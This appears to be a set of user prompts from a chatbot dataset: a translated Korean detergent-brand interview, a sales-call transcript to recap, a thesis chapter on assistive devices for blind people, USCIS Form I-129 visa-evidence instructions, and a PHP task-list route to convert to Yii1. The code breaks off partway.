lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' -'Imagine you are the worlds best AI Sales Coach. I will provide you with the transcript of a sales call in multiple parts. Provide a detailed recap of each part of the sales call transcript to help the sales manager gain a complete detailed understanding of the deal. Use a sales framework. \n\nTranscript part 2 (10m28s-20m4s our of 29m02s):\n\n"10m 28s Matt Brown Alternatively though if, you do want to make those public, you certainly can and you can distill them all the way down to ICI roles and and what those activities are going to look like for each of those contributors and how those will roll up into those larger department and company wide objectives.\n10m 47s Matt Brown From an editing standpoint as well. We can clearly separate the customer facing, say, sales, for example.\n10m 55s Matt Brown The sales goals can only be managed and edited by the sales team, even though there is visibility from other departments.\n11m 3s Matt Brown Same with finance, same with people ops. So you can have that clear separation in terms of who\'s owning it and who is updating and keeping track of those.\n11m 14s Matt Brown OKRs.\n11m 14s Matt Brown But the the visibility in terms of seeing what the other teams are doing, you certainly have that and we allow for that.\n11m 25s Matt Brown I know you probably haven\'t seen this part just yet, but our fellows onboarding support will help the senior leaders who are owning the OKR functionality, the tracking, and get them trained up, confident, comfortable using the tool, but also work with them to import the the OKR that you\'re currently tracking.\n11m 46s Matt Brown Does that answer your question? Yeah. And I\'m\n11m 49s Nick Sarkesian assuming on top of all of this, individuals are able to just go in there and set goals for themselves and all that as well.\n11m 57s Nick Sarkesian Right. Though we haven\'t yet\n12m 0s Matt Brown built it out for like the end user level and I\'ll show you why.\n12m 3s Matt Brown So why we built it You. know, thinking from the top down perspective is that for managers they can embed those one to ones within their 1 to 1 specific objectives assigned to those key individuals.\n12m 18s Matt Brown So instead of having again another, place for those icis or front level managers to check and constantly keep track of, we can embed those.\n12m 32s Matt Brown Those OKRs directly within your meeting templates.\n12m 36s Matt Brown So as you begin to standardize the way that a rive runs your one to ones, each manager can then import and pull through the objectives that they\'re going to discuss with each of their reports.\n12m 51s Matt Brown So it makes it a lot more actionable. Scott. Yeah. Looks great. Is\n12m 57s Eric Cameron there a way when you assign action items to people that as a manager you can see them what you\'ve assigned? I know it shows like your own action items, but is there a way to see action items you\'ve assigned to others?\n13m 10s Eric Cameron So there isn\'t like\n13m 11s Matt Brown a God mode, so to speak. The best way I would recommend, though, is as a participant in those other meetings, you do have visibility into it.\n13m 21s Matt Brown So I\'ll create an action item here, sign it to myself. You can see already just by creating one an action items tab has one appeared and two taken.\n13m 33s Matt Brown Note that there\'s an outstanding action item. Let\'s say revise report.\n13m 39s Matt Brown So what you can do quickly for any of the managers or the ICS as well is this action items tab will provide a list of all of the action items that have been assigned throughout the the history of this meeting.\n13m 56s Matt Brown For team meetings. You can also assign organize it rather by assigning, which helps to write. You can see what everybody\'s bandwidth is like.\n14m 6s Matt Brown Sounds good. I think\n14m 9s Eric Cameron at some point a greater training on all of the features and things would be great, so we don\'t have to dive too much into that I guess.\n14m 15s Eric Cameron A couple other just like high level tactical questions. You mentioned analytics and reporting. Do admins have visibility into any one on one content?\n14m 28s Eric Cameron And I don\'t want them to. So I\'m just asking like let\'s say Nick is an admin of the entire system.\n14m 35s Eric Cameron Does he just have the ability to see analytics of who\'s meeting or does he have the ability to see what was actually listed in those one on one?\n14m 45s Eric Cameron Good question. So it is\n14m 47s Matt Brown secure.\n14m 48s Matt Brown Any team member with admin powers, they\'d be able to see an overview of what those meetings are and but not like specific.\n14m 58s Matt Brown So for example if, there was maybe an issue arise between a manager and a report. No admin nor any other member of the workspace is able to backdoor their way into that.\n15m 13s Matt Brown Okay. The analytics are really clearly showing what that meeting health looks like. So what meetings that started with an agenda ended with notes.\n15m 24s Matt Brown No meeting or no agenda. No notes. So you can see here you\'re getting a high level overview of of those metrics. Also meeting hours over the last 60 days, you can filter it through 30 days as well or 90 for the entire quarter.\n15m 40s Matt Brown So we do want to make these actionable and with the the feedback loop here closed from there, you can internally provide that additional support or or alternatively, Fellow does have that ongoing support.\n15m 57s Matt Brown So for managers and senior management, we can provide 1 to 1 sessions for end users or closer to the front line managers.\n16m 8s Matt Brown We have team sessions as well.\n16m 10s Matt Brown So the, the training and the the adoption of Fellow doesn\'t rest solely on the shoulders of the the business owner or any team members directly tied to the the rollout of Fellow as well.\n16m 25s Matt Brown Sounds good. And then I imagine we can look\n16m 27s Eric Cameron at this at like a managerial level as well, to say which managers are using it, which are not that type of detail. Yes, exactly.\n16m 35s Eric Cameron So you can double click\n16m 37s Matt Brown into members. Let\'s pull up that here. There you can see Matt. Alternatively. Or Matt and then it\'s also days active meetings attended.\n16m 53s Matt Brown And then for those users who also have direct reports, you can toggle include reports. So then you can see the dropdown of hey match map using it pretty effectively.\n17m 4s Matt Brown But his direct reports, Elaine and George might not be getting the same level of support and love.\n17m 11s Matt Brown So Matt needs some additional training in terms of how do we bring Fellow that one level down to the direct reports to make sure that they\'re getting the most out of their 1 to 1 calls as well.\n17m 23s Matt Brown Okay. Sounds great. That all looks good. And\n17m 26s Eric Cameron then I noticed on the Enterprise list that JIRA was listed as an integration How. does that integration works? We do definitely Some. of our teams, especially the IT team, utilizes JIRA.\n17m 39s Eric Cameron No, that was\n17m 40s Matt Brown that was also something that Tyler and Alex brought up So. our JIRA integration is really, really powerful I. think you\'re going to like it.\n17m 47s Matt Brown So for action items, I know it\'s synched with our Asana board right now, so you can automatically assign it, link it to Asana with our JIRA integration.\n18m 0s Matt Brown You can set this up and post directly to a project or alternatively, because it is two way. We can import something directly from Asana as well.\n18m 13s Matt Brown So for those more technical conversations where you\'re maybe doing a project check in or status update, having this all within Fellow just eliminates the the time spent double clicking in.\n18m 28s Matt Brown Where are we at on this? A quick update. Leave yourself open to tangents as well. Instead having these all sync directly within.\n18m 39s Matt Brown Fellow to JIRA, you can quickly roll through all of those those outstanding tasks or those completed tasks as well. Nice.\n18m 50s Matt Brown Are you. Are you\n18m 51s Nick Sarkesian able to turn an action item into a ticket? So you see here.\n19m 0s Matt Brown As of right now, it\'s more of like a to do, but then you can double click in and link and issue.\n19m 8s Matt Brown I can get you a little bit more information on like the total extent of our JIRA integration, especially for those technical teams.\n19m 15s Nick Sarkesian But the idea is, is just to like eliminate\n19m 18s Matt Brown the amount of friction between hopping from your your, meeting agenda and Fellow to to running it in JIRA. Right? Yeah. Cool.\n19m 30s Nick Sarkesian So that\'s a bit of a snapshot\n19m 32s Matt Brown in terms of of the Fellow capabilities. It sounded like somebody did have a question there as well. I have one last question from\n19m 41s Eric Cameron a pricing perspective, which if you can send me those details after the fact that\'d, be great. How does that work? Is that all invited users were charged or is it just active within the system?\n19m 55s Eric Cameron So I\'m just thinking we have, let\'s say, 1700 employees right now. If we take\n20m 1s Matt Brown it to everybody through October, technically 1700\n20m 4s Eric Cameron people have access to it, if only 500 people are actively using it. How does pricing work from those perspectives? Yeah, you raise a really good question"' -"lease provide me with the relevant information that needed to be address during a presentation of this chapter\n\n2.3. Previous work of Visual Assistive Technology\n2.3.1. Head wear\n2.3.1.1. Wearable Travel Aid for Environment Perception and Navigation of Visually Impaired People\n For this project, a consumer Red, Green, Blue, and Depth (RGB-D) camera was attached to a pair of eyeglasses, along with an inertial measurement unit (IMU) attached to a camera, a smartphone, and an earphone for commands/feedback. The system is operable in both indoor and outdoor settings. Due to their ample information, lightweight nature, and low cost compared to other sensors, such as ultrasonic and LiDAR sensors, computer vision technologies were integrated into this device's routing and detection capabilities. The smartphone does the process of detecting and routing, and the feedback is sent to the user's ear through an earphone plugged into the smartphone (Bai et al., 2019).\nLimitation:\n• Weak in detecting small-size obstacle\n• Staircase detection is not implemented\u2003\n2.3.1.2. Let Blind People See: Real-Time Visual Recognition with Results Converted to 3D Audio\n Jiang et al. (2016) created a system that took video input from a portable camera. They streamed it to a server for real-time image recognition processing using the You Only Live Once (YOLO) model. The 3D location of the discovered object is derived by using the location and size of the object detection algorithm's bounding boxes. The Unity game engine will send it as 3D audio into their attached wireless earphones. The next sound output interval will be in a few seconds or when a different object is detected, whichever occurs first. The solution could conduct precise real-time objective detection with a live stream at a pace of 30 frames per second in 1080p resolution by utilising the YOLO algorithm and an enhanced wireless transmitter. Figure 4 shows the data flow pipeline of the paper’s system. The video footage is captured and sent to the YOLO algorithm for detecting object. The detected object is then send to the earbuds using the unity engine. Figure 5 shows the prototype of the device of this paper.\nLimitation:\n• Can only accurately detect and classify object within 2 to 5 meters away\n• Surrounding ambient will be block when using earbuds\n• Too much information will be sent to user when camera detect multiple objects\n2.3.2. Smart Cane\n2.3.2.1. Smart Electronic Stick for Visually Impaired using Android Application and Google’s Cloud Vision\n The e-stick module, integrated with a voice-controlled Android application, was designed by Bharatia et al. (2019) to replace the essential simple navigation stick that visually impaired individuals typically use. The e-stick is similar to a standard stick in that it is thin, lightweight, and easy to handle, but it has additional features. Using efficient natural language processing (NLP) features makes these functionalities affordable and possible. The e-stick uses ultrasonic sensors to find low-lying and knee-level obstacles and potholes when moving backwards. Using buzzers, active input on the presence of barriers will be delivered. For Global Positioning System (GPS) navigation to function, the user's phone will be Bluetooth-connected to the stick's circuit. In unavoidable circumstances, the live location of visually impaired individuals will be transmitted to the nearest help centre or their family for assistance. Face detection will be added so that users can tell who is trying to talk to them. With the cloud vision API, it is also possible to translate traffic lights and roadside signs so that blind people can find their way. Text recognition will also be available from photos, making it easy for people to read books, documents, newspapers, and other printed materials. A stick-tracking device has also been built in case the person loses his or her stick. These capabilities will be enabled through hardware (smart stick) and a software module (an Android application). Using Natural Language Processing technology, the user will tell these modules what to do by using voice commands. The e-stick will be charged as needed using a rechargeable circuit. Figure 6 shows how the technologies used in this paper interact.\nLimitation:\n• Coverage of obstacle detection is short as it is using sensor\n• Only suitable for indoor\n2.3.2.2. WeWalk\n WeWalk is a smart cane developed by a non-profit organisation called YGA (WeWALK Smart Cane – Smart Cane for the Visually Impaired, 2020). WeWalk looks like a traditional-looking cane, but the handle has a built-in touchpad. Users can navigate, save and discover places using the cane via the respected application. Particular layers are built into the mapping services for more accessible navigation. Users can choose to use the built-in speaker or Bluetooth for voice feedback. Users can also pair their phone with the intelligent cane via Bluetooth to control their phone. The above-ground The built-in ultrasound sensor detects an above-ground obstacle. The detected obstacle is projected back to the user in the form of vibration or audio, depending on the user’s preferences. Wewalk also has an application where users can view their transit options, such as nearby bus stops and the timetable, and then navigate them to the desired stop. The application also has a built-in voice assistant for more straightforward navigation through the application. If a user loses their phone or cane, they can play a sound on each of them to locate the position of the lost device. Figure 7 shows the WeWalk Smart Cane that is currently on the market.\nLimitation:\n• The device is very expansive, with the price of 500 USD\n• Rain or snow might cause malfunction on the smart cane and the speaker\n• The tip of the cane is loud when navigating rough surface sidewalk\n2.3.2.3. Development of an Intelligent Cane for Visually Impaired Human Subjects\n Asati et al., (2019) designed an intelligent white cane that uses HR-SO4 ultrasonic sensors to identify obstacles within a range of 450 meters and determine the distance. The object above head level will also be detected, as the sensors' range is 450 meters. The warning signal is returned in beeping signals via a buzzer, advising the user to take prompt action. Object detection and classification are done utilizing the intelligent technique. The photos are recorded using the web camera for classification. They will be transformed into text and an audio signal for text-to-speech conversion. Figure 8 shows the prototype of this paper's intelligent cane.\nLimitation:\n• Cost of building the system is high\n• Unable to identify pot holes\n• Detection under rainy weather is not tested\n\u2003\n2.3.3. Handheld\n2.3.3.1. Android Application for Object Recognition Using Neural Networks for the Visually Impaired\n Dosi et al. (2018) have developed an Android application that aids the visually impaired with real-time object recognition using the phone's camera and provides feedback by speaking the recognised object. They opted for a deep learning strategy based on a convolutional neural network for improved recognition and faster response times. MobileNets is utilised because it is ideal for mobile and embedded vision applications. Figure 9 shows the results of the detected object using the object recognition application.\nLimitation:\n• Only works offline\n• Unknown or untrained objects will be predicted using existing images in the database\n• Have to retrain model for untrained object\n2.3.3.2. Design and Implementation of an Embedded Real-Time System for Guiding Visually Impaired Individuals\n Duman et al. (2019) have developed and implemented a portable gadget that detects objects and measures their distance precisely to enable visually impaired individuals to see objects and people around them. The device uses YOLO, a convolutional neural network-based real-time identification method with a single device attached to a Raspberry Pi board. The estimated object distance will be projected in audio form to visually challenged users. The accuracy of this detected distance estimation is 98.8%. Initially, the footage is captured using a handheld Raspberry Pi camera. Afterwards, the object detection module executes YOLO for real-time object recognition, and bounding box size extraction for humans is needed. The size of the bounding box is provided to the distance estimation module to determine the distance of the detected individual. The labels of detected objects and the approximated distance of any individual caught are stored temporarily. An audio generation module translates text-based saved results into audio alerts that visually challenged users can listen to using headphones. Alerts are played at a predetermined time to reduce noise and ambiguity. Figure 10 shows the block diagram of the paper’s proposed system.\nLimitation:\n• Only detect humans\n• No design for any wearable option\u2003\n2.3.3.3. Real-time object detection and face recognition system to assist the visually impaired\n Anish Aralikatti et al. (2020) developed an android application that used the phone camera for real-time object and face detection using OpenCV, the You only live once (YOLO) algorithm and FaceNet. Detection of objects and human will be presented in an audio format to the user. OpenCV is used for real-time computer vision tasks. Since it is implemented into an android phone, they chose Tiny YOLO as it is a lightweight YOLO framework perfect for embedded and mobile devices. FaceNet is used for face identification systems as it can extract high-quality features of the face. Figure 12 shows the sample outputs of using the android application on a mobile phone. Figure 11 shows the face recognition feature of the android application.\nLimitation: Less accuracy than YOLO as Tiny YOLO model is smaller (Anish Aralikatti et al., 2020)" -'Evidence for a New Office\nIn addition to the evidence required under the General L Classification Requirements section above, if the beneficiary\nis coming to the United States to open or to be employed in a new office in the United States, the petitioner must submit\nevidence to show the following:\nFor managerial or executive capacity (L-1A):\n1. Sufficient physical premises to house the new office have been secured;\n2. The beneficiary has been employed for 1 continuous year in the 3-year period preceding the filing of the petition in an\nexecutive or managerial capacity and that the proposed employment involves executive or managerial authority over\nthe new operation; and\n3. The intended U.S. operation, within 1 year of approval, will support an executive or managerial position. This\nstatement should be supported by information regarding:\nA. The proposed nature of the office describing the scope of the entity, its organizational structure, and its financial\ngoals;\nB. The size of the United States investment and the foreign entity’s financial ability to remunerate the beneficiary and\nto commence doing business in the United States; and\nC. The organizational structure of the foreign entity.\nFor specialized knowledge capacity (L-1B):\n1. Sufficient physical premises to house the new office have been secured; and\n2. The petitioner has the financial ability to remunerate the beneficiary and to commence doing business in the\nUnited States.\nNOTE: There are additional fees associated with certain L-1A and L1B petitions. Please see the “What is the Filing\nFee” section of these forms instructions for further information about these fees.\nO-1A Nonimmigrants\nThe O-1A classification is for aliens coming to the United States temporarily who have extraordinary ability in\nthe sciences, education, business, or athletics (not including the arts, motion picture, or television industry). The\nextraordinary ability must be demonstrated by sustained national or international acclaim.\nWrite O-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group or labor and/or management organization with expertise in the field (which\ncould include a person or persons with expertise in the field (see General Evidence);\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. An explanation of the nature of the events or activities, the beginning and ending dates for the events or activities, and\na copy of any itinerary for the events and activities; and\nForm I-129 Instructions 11/02/22 Page 18 of 30\n4. Evidence of the beneficiary’s extraordinary ability, such as receipt of major nationally or internationally recognized\nawards or prizes for excellence in the field, documentation of the beneficiary’s membership in associations in the\nfield which require outstanding achievements of their members, published material relating to the beneficiary’s work,\nevidence of the beneficiary’s original scholarly work or, contributions of major significance to the field, evidence of\nthe beneficiary’s high salary within the field, evidence that the beneficiary participated individually on a panel that\njudges the work of others in the field, or evidence of the beneficiary’s prior employment in a critical or essential\ncapacity for organizations and establishments that have a distinguished reputation.\nNOTE: If the preceding forms of evidence do not readily apply to the beneficiary’s field of endeavor, you may submit\nother comparable evidence.\nO-1B Nonimmigrants\nThe O-1B classification is for aliens coming to the United States temporarily who have extraordinary ability in the\narts or extraordinary achievement in the motion picture or television industry.\nWrite O-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group (which could be a person with expertise in the beneficiary’s field), a labor,\nand/or a management organization (see General Evidence). If the petition is based on the beneficiary’s extraordinary\nachievement in the motion picture or television industry, separate consultations are required from the relevant labor\nand management organizations;\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. Evidence that the beneficiary has received or been nominated for significant national or international awards or\nprizes in the field, such as an Academy Award, Emmy, Grammy, or Director’s Guild Award, or at least three of the\nfollowing:\nA. Evidence that the beneficiary has performed and will perform as a lead or starring participant in productions or\nevents that have a distinguished reputation as evidenced by critical reviews, advertisements, publicity releases,\npublications contracts, or endorsements;\nB. Evidence that the beneficiary has achieved national or international recognition for achievements in the field as\nevidenced by critical reviews or other published materials by or about the individual in major newspapers, trade\njournals, magazines, or other publications;\nC. Evidence that the beneficiary has a record of major commercial or critically acclaimed successes, as evidenced\nby title, rating, standing in the field, box office receipts, and other occupational achievements reported in\npublications;\nD. Evidence that the beneficiary has received significant recognition from organizations, critics, government\nagencies, or other recognized experts;\nE. Evidence that the beneficiary commands or will command a high salary or other remuneration for services in\nrelation to others in the field; or\nF. Evidence that the beneficiary has performed and will perform in a lead or starring role for organizations that have\na distinguished reputation.\nNOTE: If you are applying for O-1B in the Arts and the preceding forms of evidence do not readily apply to the\nbeneficiary’s field of endeavor, you may submit other comparable evidence.\nO-2 Nonimmigrants\nThe O-2 classification is for aliens coming to the United States temporarily and solely to assist in the performance\nof an O-1 artist or athlete because he or she performs support services that are integral to the successful\nperformance of the O-1. No test of the U.S. labor market is required. The alien must have critical skills and\nexperience with the O-1 which must not be of a general nature or possessed by U.S. workers.\nWrite O-2 in the classification block.\nForm I-129 Instructions 11/02/22 Page 19 of 30\nThis form must be filed in conjunction with an O-1 petition and filed with:\n1. A written consultation (see General Evidence);\nA. If it is for support of an athlete or an alien with extraordinary ability in the arts, the consultation must be from an\nappropriate labor organization; or\nB. If it is for support of an alien with extraordinary achievement in motion pictures or television, the consultation\nmust be from an appropriate labor organization and management organization.\n2. Evidence of the current essentiality, critical skills, and experience of the O-2 with the O-1 and evidence that the alien\nhas substantial experience performing the critical skills and essential support services for the O-1 alien. In the case\nof a specific motion picture or television production, the evidence must establish that significant production has taken\nplace outside the United States, and will take place inside the United States, and that the continuing participation of\nthe alien is essential to the successful completion of the production.\nP-1A or P-1 Major League Sports\nThe P-1A classification is for aliens coming to the United States temporarily to perform at a specific athletic\ncompetition as an individual or as part of a group or team participating at an internationally recognized level of\nperformance.\nP-1 Major League Sports classification is for an association of teams or clubs that compete chiefly among themselves\nwhich include major league athletes, minor league sports, and any affiliates associated with the major leagues including\nbut not limited to baseball, hockey, soccer, basketball, and football. Support personnel for Major League Sports include\ncoaches, trainers, broadcasters, referees, linesmen, umpires, and interpreters.\nWrite P-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\n2. A copy of the contract with a major U.S. sports league or team or a contract in an individual sport commensurate with\nnational or international recognition in the sport, if such contracts are normally utilized in the sport; and\n3. Evidence of at least two of the following:\nA. Significant participation in a prior season with a major U.S. sports league;\nB. Significant participation in a prior season for a U.S. college or university in intercollegiate competition;\nC. Participation in international competition with a national team;\nD. A written statement from a member of the sports media or a recognized expert in the sport which details how the\nbeneficiary or team is internationally recognized;\nE. A written statement from an official of a major U.S. sports league or official of the governing body for a sport that\ndetails how the beneficiary or team is internationally recognized;\nF. That the beneficiary or team is ranked, if the sport has international rankings; or\nG. That the beneficiary or team has received a significant honor or award in the sport.\nP-1B Entertainer or Entertainment Group\nThe P-1B classification is for aliens coming to the United States temporarily to perform as a member of an\nentertainment group that has been recognized internationally as outstanding in the discipline for a substantial\nperiod of time, and who has had a sustained relationship with the group (ordinarily for at least 1 year).\nWrite P-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\nForm I-129 Instructions 11/02/22 Page 20 of 30\n2. Evidence that the beneficiary or group is internationally recognized in the discipline as demonstrated by the\nsubmission of evidence of the group’s receipt of or nomination for significant international awards or prizes for\noutstanding achievement, or evidence of at least two of the following:\nA. The beneficiary or group has performed, and will perform as a starring or leading group in productions or events\nwith a distinguished reputation;\nB. The beneficiary or group has achieved international recognition and acclaim for outstanding achievement in the\nfield;\nC. The group has performed, and will perform, services as a star or leading group for organizations and\nestablishments that have a distinguished reputation;\nD. The beneficiary or group has a record of major commercial or critically acclaimed success;\nE. The beneficiary or group has received significant recognition for achievements from critics, organizations,\ngovernment agencies, or other recognized experts in the field; or\nF. The beneficiary or group commands a high salary or other substantial remuneration for services compared to other\nsimilarly situated in the field.\n3. Evidence that 75 percent of the members of the group have had a sustained and substantial relationship with the group\nfor at least 1 year. Provide a list of the alien’s functions which are integral to the group’s performance.\nBy filing for a P-1 group, the petitioner certifies that at least 75 percent of the group members have been performing\nregularly together for at least 1 year. The 1-year requirement does not apply to circus groups coming to perform with\nnationally recognized circuses.\nAttach a separate statement to the form to request a waiver of:\n1. The 1-year relationship requirement due to exigent circumstances; or\n2. The international recognition requirement (1) due to emergent circumstances, or (2) because the group has been\nnationally recognized as outstanding in its discipline for a sustained and substantial period of time.' -'check the below code and to get sql and remap functions\nthen apply these functions to \nactionAssignedByMe\nactionAssignedToMe \nthen provide the update code in yii1\nFlight::route(\'GET /erp/all-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "completed",\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "in\\_progress",\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "deferred",\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "not\\_started",\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "waiting\\_for\\_someone",\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n $elem[\'invoice\'] = false; \n if($elem[\'invoice\\_id\'] > 0) {\n // innerjoin with tbl\\_client\n $invoices = $rm->select(\'tbl\\_invoices\', array(\n \'[><]tbl\\_client\' => [\'client\\_id\' => \'client\\_id\']\n ) , array(\n \'tbl\\_invoices.invoices\\_id\',\n \'tbl\\_invoices.due\\_date\',\n \'tbl\\_invoices.reference\\_no\',\n \'tbl\\_invoices.status\',\n \'tbl\\_invoices.invoice\\_date\',\n \'tbl\\_client.sync\\_id\',\n \'tbl\\_client.merchant\\_name\',\n \'tbl\\_client.merchant\\_phone\',\n \'tbl\\_client.expires\\_date\',\n \'tbl\\_client.last\\_login\',\n \'tbl\\_client.client\\_id\',\n \'tbl\\_client.name\',\n ), array(\n \'tbl\\_invoices.invoices\\_id\' => $elem[\'invoice\\_id\']\n ));\n\n $invoices = array\\_map(function ($invoice) use ($rm) {\n $due\\_amount = $rm->sum(\'tbl\\_items\', \'total\\_cost\', array(\n \'invoices\\_id\' => $invoice[\'invoices\\_id\']\n ));\n $invoice[\'due\\_amount\'] = $due\\_amount;\n switch ($invoice[\'status\']) {\n case \'paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'rejected\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'unpaid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'overdue\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'draft\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'partially\\_paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n }\n /\\*$invoice[\'published\'] = $invoice[\'status\'];\n if ($invoice[\'published\'] == 2) {\n $invoice[\'rejected\'] = true;\n }\\*/\n /\\*$invoice[\'items\'] = $rm->select(\'ready\\_invoice\\_items\', \'\\*\', array(\n \'ri\\_invoice\\_id\' => $invoice[\'id\']\n ));\\*/\n return $invoice;\n }, $invoices);\n\n $elem[\'invoice\'] = $invoices[0]; \n } \n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false;\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n 